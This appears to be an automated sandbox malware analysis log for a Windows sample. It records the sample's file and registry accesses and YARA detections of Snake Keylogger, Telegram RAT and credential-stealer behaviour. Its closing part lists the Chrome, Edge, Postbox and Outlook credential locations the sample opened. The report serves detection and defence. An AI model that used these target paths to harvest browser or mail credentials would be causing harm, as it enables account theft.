Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\flat_officeFontsPreview.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\OFFSYM.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\OFFSYMSL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\OFFSYMSB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\OFFSYMXL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\OFFSYML.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\OFFSYMB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Queries volume information: C:\Users\user\AppData\Roaming\IFZCSslt.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected Snake Keylogger
Source: Yara match File source: 00000011.00000002.2449982205.0000000006A73000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2449982205.00000000068A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2449144517.0000000006F31000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Yara detected Telegram RAT
Source: Yara match File source: 9.2.IFZCSslt.exe.4330048.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.b5Tu0LaQfn6bnAD.exe.4bbd9a0.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.b5Tu0LaQfn6bnAD.exe.4b79b80.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.IFZCSslt.exe.42ec228.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.IFZCSslt.exe.4330048.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.b5Tu0LaQfn6bnAD.exe.4bbd9a0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.b5Tu0LaQfn6bnAD.exe.4b79b80.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.IFZCSslt.exe.42ec228.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.2445295185.000000000042F000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.1353738607.00000000042EC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1256817618.0000000004B79000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: b5Tu0LaQfn6bnAD.exe PID: 7592, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: vbc.exe PID: 8092, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: IFZCSslt.exe PID: 8172, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: vbc.exe PID: 2996, type: MEMORYSTR
Yara detected VIP Keylogger
Source: Yara match File source: 9.2.IFZCSslt.exe.4330048.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.b5Tu0LaQfn6bnAD.exe.4bbd9a0.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.b5Tu0LaQfn6bnAD.exe.4b79b80.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.IFZCSslt.exe.42ec228.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.IFZCSslt.exe.4330048.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.b5Tu0LaQfn6bnAD.exe.4bbd9a0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.b5Tu0LaQfn6bnAD.exe.4b79b80.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.IFZCSslt.exe.42ec228.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.2445295185.000000000042F000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.1353738607.00000000042EC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1256817618.0000000004B79000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: b5Tu0LaQfn6bnAD.exe PID: 7592, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: vbc.exe PID: 8092, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: IFZCSslt.exe PID: 8172, type: MEMORYSTR
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites
Tries to steal Mail credentials (via file / registry access)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Yara detected Credential Stealer
Source: Yara match File source: 9.2.IFZCSslt.exe.4330048.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.b5Tu0LaQfn6bnAD.exe.4bbd9a0.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.b5Tu0LaQfn6bnAD.exe.4b79b80.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.IFZCSslt.exe.42ec228.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.IFZCSslt.exe.4330048.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.b5Tu0LaQfn6bnAD.exe.4bbd9a0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.b5Tu0LaQfn6bnAD.exe.4b79b80.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.IFZCSslt.exe.42ec228.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000011.00000002.2449982205.00000000069AC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
